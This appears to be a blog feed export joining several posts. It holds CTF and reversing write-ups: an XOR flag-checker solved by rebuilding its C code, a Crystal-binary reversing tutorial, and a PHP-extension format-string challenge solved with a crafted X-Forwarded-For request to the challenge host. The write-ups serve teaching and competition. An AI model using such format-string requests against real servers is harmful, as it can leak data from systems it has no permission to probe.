<p>Last function called is tr2, let’s see what this function does.</p>
<p><img src="/images/secadmin/tr2.png" alt="tr2" /></p>
<p>Uuuh, really similar to the tr1 function right? This function also calculates the strlen of the user input and iterate from 0 to user input string length too. But this time the xor formula changes and it sleeps 0.4 seconds insted of 0.2.</p>
<p>This time, this function does not take the user input as a xor parameter, it uses <code class="highlighter-rouge">obj.j</code> instead, xored with a <code class="highlighter-rouge">obj.t</code> array and <code class="highlighter-rouge">0x80</code>, the xor formula pseudocode is as follows:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">t</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">tiempo</span><span class="p">]</span> <span class="o">^</span> <span class="mh">0x80</span>
</code></pre></div></div>
<p>If you remember, <code class="highlighter-rouge">j</code> is a global variable where <code class="highlighter-rouge">tr1</code> will write the result of its xor function, then <code class="highlighter-rouge">tiempo</code> is another global variable wich will increase by one each second. As <code class="highlighter-rouge">tr1</code>, <code class="highlighter-rouge">tr2</code> and <code class="highlighter-rouge">timer</code> functions are in different threads, this values will increase asynchronously.</p>
<h4 id="solving-the-equations">Solving the equations.</h4>
<p>Been this a short program, we can reconstruct it’s C code, to avoid dealing with GDB debugging over threads and time dependant variables, it’s easier for me to do it this way.</p>
<p>Here’s the C code:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <string.h>
#include <pthread.h>
#include <unistd.h>
</span>
<span class="kt">int</span> <span class="n">tiempo</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">const</span> <span class="kt">char</span> <span class="n">s</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x91</span><span class="p">,</span><span class="mh">0x87</span><span class="p">,</span><span class="mh">0xEE</span><span class="p">,</span><span class="mh">0xEC</span><span class="p">,</span><span class="mh">0x2C</span><span class="p">,</span><span class="mh">0x25</span><span class="p">,</span><span class="mh">0x21</span><span class="p">,</span><span class="mh">0x0e</span><span class="p">,</span><span class="mh">0x1b</span><span class="p">,</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0xfd</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x93</span><span class="p">,</span><span class="mh">0x96</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xce</span><span class="p">,</span><span class="mh">0xc6</span><span class="p">,</span><span class="mh">0xdf</span><span class="p">};</span>
<span class="k">const</span> <span class="kt">char</span> <span class="n">t</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x1B</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x8B</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x1B</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xDE</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0xF6</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x5A</span><span class="p">,</span> <span class="mh">0x8B</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0x3B</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x2C</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x3F</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x2A</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">};</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">msg</span> <span class="o">=</span> <span class="s">"secadmin{AAAAAAAAAAAA}"</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">j</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span>
<span class="kt">void</span> <span class="nf">timer</span><span class="p">(){</span>
<span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">1000000</span><span class="p">);</span> <span class="c1">// 1 segundo</span>
<span class="o">++</span><span class="n">tiempo</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">void</span><span class="o">*</span> <span class="n">tr1</span><span class="p">(){</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="n">strlen</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span> <span class="o">++</span><span class="n">i</span><span class="p">){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"TR1 -> 0x%02x ^ 22</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">msg</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">strlen</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"TR1 -> j[%d] = 0x%02x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">i</span><span class="p">,</span><span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">200000</span><span class="p">);</span> <span class="c1">// 0.2 segundos</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">void</span><span class="o">*</span> <span class="n">tr2</span><span class="p">(){</span>
<span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="n">i</span><span class="p">;</span> <span class="n">i</span><span class="o"><</span><span class="n">strlen</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span> <span class="o">++</span><span class="n">i</span><span class="p">){</span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">400000</span><span class="p">);</span> <span class="c1">// 0.4 segundos</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"TR2 -> 0x%02x = 0x%02x ^ 0x%02x ^ 0x80"</span><span class="p">,</span><span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">],</span><span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">],</span><span class="n">t</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">tiempo</span><span class="p">]);</span>
<span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="n">t</span><span class="p">[</span><span class="mi">2</span> <span class="o">*</span> <span class="n">tiempo</span><span class="p">]</span> <span class="o">^</span> <span class="mh">0x80</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">" -> 0x%2x</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">j</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="n">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="k">const</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
<span class="n">pthread_t</span> <span class="n">tr1_t</span><span class="p">;</span>
<span class="n">pthread_t</span> <span class="n">tr2_t</span><span class="p">;</span>
<span class="n">pthread_t</span> <span class="n">timer_t</span><span class="p">;</span>
<span class="n">puts</span><span class="p">(</span><span class="s">"Starting! ..."</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Size of s: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="k">sizeof</span><span class="p">(</span><span class="n">s</span><span class="p">));</span>
<span class="n">fflush</span><span class="p">(</span><span class="n">stdin</span><span class="p">);</span>
<span class="n">pthread_create</span><span class="p">(</span><span class="o">&</span><span class="n">timer_t</span><span class="p">,</span><span class="mi">0LL</span><span class="p">,(</span><span class="kt">void</span> <span class="o">*</span><span class="p">(</span><span class="o">*</span><span class="p">)(</span><span class="kt">void</span> <span class="o">*</span><span class="p">))</span><span class="n">timer</span><span class="p">,</span><span class="mi">0LL</span><span class="p">);</span>
<span class="n">pthread_create</span><span class="p">(</span><span class="o">&</span><span class="n">tr1_t</span><span class="p">,</span><span class="mi">0LL</span><span class="p">,</span><span class="n">tr1</span><span class="p">,</span><span class="mi">0LL</span><span class="p">);</span>
<span class="n">pthread_create</span><span class="p">(</span><span class="o">&</span><span class="n">tr1_t</span><span class="p">,</span><span class="mi">0LL</span><span class="p">,</span><span class="n">tr2</span><span class="p">,</span><span class="mi">0LL</span><span class="p">);</span>
<span class="n">usleep</span><span class="p">(</span><span class="mi">13000000</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"s: %s"</span><span class="p">,</span><span class="n">j</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"sizeof j: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,(</span><span class="kt">int</span><span class="p">)</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">j</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">strcmp</span><span class="p">(</span><span class="n">j</span><span class="p">,</span><span class="n">s</span><span class="p">)){</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Wiiiiiiiin!!"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Looooooose!!"</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>When executed, we obtain the following output, which clears us what the program is doing:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Starting! ...
Size of s: 22
TR1 -> 0x73 ^ 22
TR1 -> j[0] = 0x65
TR1 -> 0x65 ^ 22
TR1 -> j[1] = 0x73
TR2 -> 0x65 = 0x65 ^ 0x74 ^ 0x80 -> 0xffffff91
TR1 -> 0x63 ^ 22
TR1 -> j[2] = 0x75
TR1 -> 0x61 ^ 22
TR1 -> j[3] = 0x77
TR2 -> 0x73 = 0x73 ^ 0x74 ^ 0x80 -> 0xffffff87
TR1 -> 0x64 ^ 22
TR1 -> j[4] = 0x72
TR1 -> 0x6d ^ 22
TR1 -> j[5] = 0x7b
TR2 -> 0x75 = 0x75 ^ 0x1b ^ 0x80 -> 0xffffffee
TR1 -> 0x69 ^ 22
TR1 -> j[6] = 0x7f
TR1 -> 0x6e ^ 22
TR1 -> j[7] = 0x78
TR2 -> 0x77 = 0x77 ^ 0x1b ^ 0x80 -> 0xffffffec
TR1 -> 0x7b ^ 22
TR1 -> j[8] = 0x6d
TR1 -> 0x41 ^ 22
TR1 -> j[9] = 0x57
TR2 -> 0x72 = 0x72 ^ 0xffffffde ^ 0x80 -> 0x2c
TR1 -> 0x41 ^ 22
TR1 -> j[10] = 0x57
TR1 -> 0x41 ^ 22
TR1 -> j[11] = 0x57
TR2 -> 0x7b = 0x7b ^ 0xffffffde ^ 0x80 -> 0x25
TR1 -> 0x41 ^ 22
TR1 -> j[12] = 0x57
TR1 -> 0x41 ^ 22
TR1 -> j[13] = 0x57
TR2 -> 0x7f = 0x7f ^ 0xffffffde ^ 0x80 -> 0x21
TR1 -> 0x41 ^ 22
TR1 -> j[14] = 0x57
TR1 -> 0x41 ^ 22
TR1 -> j[15] = 0x57
TR2 -> 0x78 = 0x78 ^ 0xfffffff6 ^ 0x80 -> 0x e
TR1 -> 0x41 ^ 22
TR1 -> j[16] = 0x57
TR1 -> 0x41 ^ 22
TR1 -> j[17] = 0x57
TR2 -> 0x6d = 0x6d ^ 0xfffffff6 ^ 0x80 -> 0x1b
TR1 -> 0x41 ^ 22
TR1 -> j[18] = 0x57
TR1 -> 0x41 ^ 22
TR1 -> j[19] = 0x57
TR2 -> 0x57 = 0x57 ^ 0x67 ^ 0x80 -> 0xffffffb0
TR1 -> 0x41 ^ 22
TR1 -> j[20] = 0x57
TR1 -> 0x7d ^ 22
TR1 -> j[21] = 0x6b
TR2 -> 0x57 = 0x57 ^ 0x67 ^ 0x80 -> 0xffffffb0
...
</code></pre></div></div>
<p>It’s easy to see the pattern, right? <code class="highlighter-rouge">tr1</code> creates two new bytes on <code class="highlighter-rouge">obj.j</code> global variable, and then <code class="highlighter-rouge">tr2</code> takes one byte, transform it using <code class="highlighter-rouge">t[2*tiempo]</code> value.</p>
<p>As you can see, our input (the <code class="highlighter-rouge">msg</code> variable), when transformed by <code class="highlighter-rouge">tr2</code> needs to be equal to <code class="highlighter-rouge">s</code> variable byte by byte. We guessed that <code class="highlighter-rouge">msg</code> should start with <code class="highlighter-rouge">secadmin{</code> as this is the flag format of the challenges. If you take a look, first <code class="highlighter-rouge">s</code> variable bytes are: <code class="highlighter-rouge">0x91,0x87,0xEE,0xEC,0x2C,0x25,0x21,0x0e,0x1b</code>, and our <code class="highlighter-rouge">tr2</code> function output is doing it correctly! This confirms that our guess was correct, and also means that the last character of <code class="highlighter-rouge">msg</code> might be <code class="highlighter-rouge">}</code>.</p>
<p>Well, we just need to find which ascii values satisfies the formula for this string <code class="highlighter-rouge">secadmin{AAAAAAAAAAAA}</code>, been each <code class="highlighter-rouge">A</code>, a value to guess.</p>
<p>As you can see, <code class="highlighter-rouge">t[2*tiempo]</code> follows always the same pattern, so with a simple ruby script, we can guess this characters:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">t</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x5a</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x34</span><span class="p">]</span>
<span class="n">s</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0xa5</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x9c</span><span class="p">,</span><span class="mh">0x2e</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0xfd</span><span class="p">,</span><span class="mh">0xbf</span><span class="p">,</span><span class="mh">0x93</span><span class="p">,</span><span class="mh">0x96</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xce</span><span class="p">,</span><span class="mh">0xc6</span><span class="p">]</span>
<span class="k">for</span> <span class="n">i</span> <span class="k">in</span> <span class="mi">0</span><span class="o">..</span><span class="n">t</span><span class="p">.</span><span class="nf">length</span><span class="o">-</span><span class="mi">1</span>
<span class="k">for</span> <span class="n">x</span> <span class="k">in</span> <span class="mh">0x21</span><span class="o">..</span><span class="mh">0x7D</span> <span class="k">do</span>
<span class="k">for</span> <span class="n">y</span> <span class="k">in</span> <span class="mh">0x00</span><span class="o">..</span><span class="mh">0xFF</span> <span class="k">do</span>
<span class="k">if</span> <span class="p">((</span><span class="n">x</span> <span class="o">^</span> <span class="mi">22</span><span class="p">)</span> <span class="o">^</span> <span class="n">t</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">^</span> <span class="mh">0x80</span><span class="p">)</span> <span class="o">==</span> <span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">then</span>
<span class="nb">puts</span> <span class="s2">"x: </span><span class="si">#{</span><span class="n">x</span><span class="p">.</span><span class="nf">chr</span><span class="si">}</span><span class="s2">"</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre></div></div>
<p>This outputs: <code class="highlighter-rouge">T1m3_1s_g0ld</code>, so the final flag is <code class="highlighter-rouge">secadmin{T1m3_1s_g0ld}</code></p>
<h4 id="final-thoughts">Final thoughts.</h4>
<p>There were, of course, many ways to solve this challenge, this is a simple xor function solving challenge. The threads where an issue when trying to dinamically debug this challenge, because threads will die disallowing us to comfortably debug the binary workflow. That’s why I decided to rewrite the source code based on the assembly, and simply execute it and see the values that <code class="highlighter-rouge">t[2*tiempo]</code> takes along the time, a really lazy solution.</p>
<p>Hope you like it, contact me if you see any mistake. Thanks!</p>Last week, Secadmin conference was held with some easy CTF challenges about crypto, web and reversing. This write-ups is for “El Ninja Contrareloj” challenge, a reversing one.Brief introduction on reverse engineering Crystal binaries.2018-10-08T14:02:44+02:002018-10-08T14:02:44+02:00http://localhost:4000/2018/10/08/reversing-crystal-binaries<p>Crystal is a “new” Ruby-syntax-based programming language, born in 2014. The main diference is, that this is not a Ruby implementation, this is another compiled programming language, but its syntax is based in ruby, so Crystal != Ruby.</p>
<p>You can learn more about Crystal here: <a href="https://crystal-lang.org/">crystal</a></p>
<p>Any new compiled programming language results interesting from a reverse engineering perspective, malware is becoming more and more based on this kind of compiled programming language, whose syntax is easier than C or C++, but mantaining the ability to run standalone.</p>
<p>A Crystal Hello World example, looks like this:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">puts</span> <span class="s1">'Hello world!'</span>
</code></pre></div></div>
<p>Yes, just like Ruby. To compile this, let’s save it as <code class="highlighter-rouge">hello.cr</code> and execute the Crystal compiler: <code class="highlighter-rouge">crystal build hello.cr</code>. This should create a <code class="highlighter-rouge">hello</code> executable with the following characteristics: <code class="highlighter-rouge">hello: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, with debug_info, not stripped</code></p>
<p>A dinamically linked, non-stripped binary. Cool!</p>
<h4 id="ida-analysis">IDA analysis.</h4>
<p>Let’s load this newly created binary using IDA Free 7.0 for Linux, (keep calm radare2 fanboys). Something catch my attention when load finished:</p>
<p><img src="/images/reversing-crystal/lot_of_functions.png" alt="lot_of_functions" /></p>
<p>Maaaaaaan 2055 functions?!!! Calm down buddy, if you take a look at other compiled languages, like Golang, this is normal. Modern compiled languages, import everything they need to be cross-platform, so lot of functions are included in a single binary to be able to compile binaries for Windows, Linux and OSX using a single compiler.</p>
<p>So where’s the program itself?</p>
<p>By default, IDA show us to the first function basic blocks executed in the program.</p>
<p><img src="/images/reversing-crystal/main.png" alt="ida_main" /></p>
<p>Ok cool, so this function just calls another function: <code class="highlighter-rouge">main_0</code>, which also calls another function <code class="highlighter-rouge">main_user_code</code></p>
<p><img src="/images/reversing-crystal/main_0.png" alt="ida_main_0" /></p>
<p>And <code class="highlighter-rouge">main_user_code</code> just calls another function <code class="highlighter-rouge">__crystal_main</code></p>
<p><img src="/images/reversing-crystal/main_user_code.png" alt="ida_main_user_code" /></p>
<p>Let’s then analyze this <code class="highlighter-rouge">__crystal_main</code> function, opening their basic blocks view, something really ugly happen:</p>
<p><img src="/images/reversing-crystal/what_the_hell.png" alt="ida_what_the_hell" /></p>
<p>… what the hell man, where the fuck is our application code? Just at the end!</p>
<p><img src="/images/reversing-crystal/code.png" alt="ida_what_the_hell" /></p>
<p>There you can see the loading of our “Hello world!” string, which is at off_9A530, and a call to <code class="highlighter-rouge">puts</code> function which seems to be a wrapper for <code class="highlighter-rouge">puts_0</code> function, which really executes the output operation and shows our string in stdout.</p>
<p>Ok, so the workflow seems to be:</p>
<p><code class="highlighter-rouge">main</code> -> <code class="highlighter-rouge">main_0</code> -> <code class="highlighter-rouge">main_user_code</code> -> <code class="highlighter-rouge">__crystal_main</code> and, at the end, our script code is executed.</p>
<p>Let’s see how conditionals and classes works at Crystal creating a simple script with the following code:</p>
<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">class</span> <span class="nc">MyHelloClass</span>
<span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">number</span><span class="o">=</span><span class="mi">0</span><span class="p">)</span>
<span class="vi">@number</span> <span class="o">=</span> <span class="n">number</span>
<span class="k">end</span>
<span class="k">def</span> <span class="nf">test_random</span>
<span class="k">if</span> <span class="vi">@number</span> <span class="o"><</span> <span class="mi">4</span>
<span class="nb">puts</span> <span class="s2">"A is lower than 4"</span>
<span class="k">else</span>
<span class="nb">puts</span> <span class="s2">"A is GREATER than 4"</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="k">end</span>
<span class="nb">puts</span> <span class="s2">"Now, an if sentence will appear based on rand numeric value"</span>
<span class="n">num</span> <span class="o">=</span> <span class="nb">rand</span><span class="p">(</span><span class="mi">6</span><span class="p">)</span>
<span class="n">a</span> <span class="o">=</span> <span class="no">MyHelloClass</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="n">num</span><span class="p">)</span>
<span class="n">a</span><span class="p">.</span><span class="nf">test_random</span>
</code></pre></div></div>
<p>Ok simple, let’s compile it <code class="highlighter-rouge">crystal build hello2.cr</code> and open it using IDA, this time going directly to <code class="highlighter-rouge">__crystal_main</code> buttom, where our code should be.</p>
<p><img src="/images/reversing-crystal/hello2.png" alt="ida_hello2" /></p>
<p>There it is, first, rand is called, which is, again a wrapper for Random::PCG32 function identified in IDA as <code class="highlighter-rouge">new_98</code></p>
<p>Then, a call to <code class="highlighter-rouge">new_101</code> is done, when inspecting this is our <code class="highlighter-rouge">MyHelloClass::new</code> function, which is the wrapper for the <code class="highlighter-rouge">initialize</code> function in our class. In Ruby, the <code class="highlighter-rouge">initialize</code> function is the constructor of the class.</p>
<p><img src="/images/reversing-crystal/constructor.png" alt="ida_hello2" /></p>
<p>As you can see in this basic block, memory is created for our new object using <code class="highlighter-rouge">_crystal_malloc_antomic64</code> function, a wrapper for <code class="highlighter-rouge">GC_generic_malloc</code> which, after lot of operations, is a malloc itself.</p>
<p>Then, a <code class="highlighter-rouge">call test_random</code> is done, remember, Crystal compiler does not strip binaries by default so function names remain intact.</p>
<p><img src="/images/reversing-crystal/test_random.png" alt="ida_hello2" /></p>
<p>Here it is our conditional, and our <code class="highlighter-rouge">puts</code> calls on each condition. Cool!</p>
<p>Radare2, show us function names processed, so it’s a bit easier to identify the binary work flow with a single <code class="highlighter-rouge">s sym.__crystal_main</code> <code class="highlighter-rouge">pdf</code> call.</p>
<p><img src="/images/reversing-crystal/r2.png" alt="ida_hello2" /></p>
<p>That’s all, thanks for reading, and hope this post can be helpful for someone facing this kind of binaries for the first time.</p>
<p>Please, feel free to contact me if you see any mistake, also my written english is not the best, so sorry for those whose eyes explode while reading this.</p>
<p>See you!</p>Crystal is a “new” Ruby-syntax-based programming language, born in 2014. The main diference is, that this is not a Ruby implementation, this is another compiled programming language, but its syntax is based in ruby, so Crystal != Ruby.[CTF Write-up] nn8ed HackGym challenge write-up.2018-10-08T14:01:44+02:002018-10-08T14:01:44+02:00http://localhost:4000/2018/10/08/nn8ed-hackgym-writeup<p>This weekend, Navaja Negra 8 CTF started, organized by <a href="https://www.twitter.com/ka0labs_">ka0labs.org</a>. This pwn challenge has the following statement:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Say the magic word to get the flag!
http://hackgym.ka0labs.org
</code></pre></div></div>
<p>The provided website is a phpinfo() output from the server, but with a string at the beginning.</p>
<p><img src="/images/nn8ed-hackgym/default.png" alt="lot_of_functions" /></p>
<p>As you can see, ka0labs team is formed by dick-painter teenagers. Ok let’s see what’s in the PHP Information. Scrolling down a bit, we can see an extension <code class="highlighter-rouge">HackGym</code> is loaded.</p>
<p><img src="/images/nn8ed-hackgym/extension.png" alt="extension" /></p>
<p>At this point, a hint is released: Look at the HTML source code. And there it is, there’s a comment at the bottom of the HTML leaking a backup path for the loaded extension.</p>
<p><img src="/images/nn8ed-hackgym/LEAK.png" alt="leak" /></p>
<p>Well, let’s download the shared object and open it using IDA and see what funcions we have:</p>
<p><img src="/images/nn8ed-hackgym/funciones.png" alt="ida_functions" /></p>
<p>If you have some PHP extensions background, you can easily identify what this functions are. For those newbies on PHP internals, there are a few functions PHP use when loading extensions, you can read more about this, from an offensive perspective in: <a href="https://www.tarlogic.com/en/blog/backdoors-php-extensions/">https://www.tarlogic.com/en/blog/backdoors-php-extensions/</a></p>
<p>TL;DR: PHP_FUNCTION macro is where extension functions are defined.</p>
<p>So let’s analyze the PHP_FUNCION function, which really should be a <code class="highlighter-rouge">PHP_FUNCTION</code> macro, but for readability reasons, it’s badly written on purpose.</p>
<p><img src="/images/nn8ed-hackgym/lot_stuff.png" alt="ida_lot_stuff" /></p>
<p>Ok lot of stuff, the interesting part is here</p>
<p><img src="/images/nn8ed-hackgym/php_funcion.png" alt="ida_php_funcion" /></p>
<p>This function is taking the X-Forwarded-For HTTP header, and passing it to <code class="highlighter-rouge">kaboom</code> function, so let’s see what this function does:</p>
<p><img src="/images/nn8ed-hackgym/kaboom.png" alt="ida_php_funcion" /></p>
<p>In the first basic block, this function is taking our input, which is 256 bytes long, and writing it to a variable, there’s is another 256 bytes buffer containing the <code class="highlighter-rouge">8=====> ! JE! Target! 3%</code> string. The next basic block, overwrites our buffer with this dick string.</p>
<p>On the third basic block, <code class="highlighter-rouge">_ap_php_snprintf</code>, a wrapper in PHP for <code class="highlighter-rouge">snprintf</code> function is called passing our overwritten buffer as argument. There’s more, the string of the placeholder will be <code class="highlighter-rouge">nn8ed{...}</code>. But wait, what placeholder string?</p>
<p><code class="highlighter-rouge">snprintf</code> function works like this, you specify a string which is kind of a template string, and inside this template, you can specify placeholders which are going to be replaced based on what you indicate. For example:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">destination</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="kt">char</span> <span class="o">*</span> <span class="n">name</span> <span class="o">=</span> <span class="s">"Gonzalo"</span><span class="p">;</span>
<span class="n">snprintf</span><span class="p">(</span><span class="n">destination</span><span class="p">,</span><span class="mi">256</span><span class="p">,</span><span class="s">"Hi my name is %s"</span><span class="p">,</span> <span class="n">name</span><span class="p">);</span>
</code></pre></div></div>
<p>Will write the <code class="highlighter-rouge">destination</code> variable with <code class="highlighter-rouge">"Hi my name is Gonzalo"</code> string. Ok, do you remember that the replace string ended with a <code class="highlighter-rouge">%</code>? Din din din! We need to force the final string to end up in “s”, so the template string passed to <code class="highlighter-rouge">snprintf</code> will be <code class="highlighter-rouge">8=====> ! JE! Target! 3%s</code> and the flag is going to be replaced as <code class="highlighter-rouge">%s</code> so the placeholder is replaced as seen in the example.</p>
<p>Let’s test:</p>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>GET / HTTP/1.0
Host: hackgym.ka0labs.org
X-Forwarded-For: XXXXXXXXXXXXXXXXXXXXXXXs
</code></pre></div></div>
<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>200 OK
8===D ! JE! Target! 3nn8ed{Th3_r1ght_f0rm4t_Off_by_1}
</code></pre></div></div>
<p>Win! The flag is returned at the beginning of the HTML as expected.</p>
<p>This challenge was easy for those people who know about format string bugs and PHP extensions, for those not so used to work with exploiting challenges or PHP extensions, is a great challenge to know some basics about it.</p>
<p>Congratz to ka0labs.org team and Navaja Negra.</p>
<p>See you!</p>This weekend, Navaja Negra 8 CTF started, organized by ka0labs.org. This pwn challenge has the following statement:[CTF Write-up] nn8ed Tindermon challenge write-up.2018-10-08T14:00:44+02:002018-10-08T14:00:44+02:00http://localhost:4000/2018/10/08/nn8ed-tindermon-writeup<p>This weekend, Navaja Negra 8 CTF started, organized by <a href="https://www.twitter.com/ka0labs_">ka0labs.org</a>. This web challenge has the following statement:</p>
<p>Get the admin password! There is a WAF and it is NodeJS… Easy peasy!
<a href="http://tindermon.ka0labs.org/">http://tindermon.ka0labs.org</a></p>
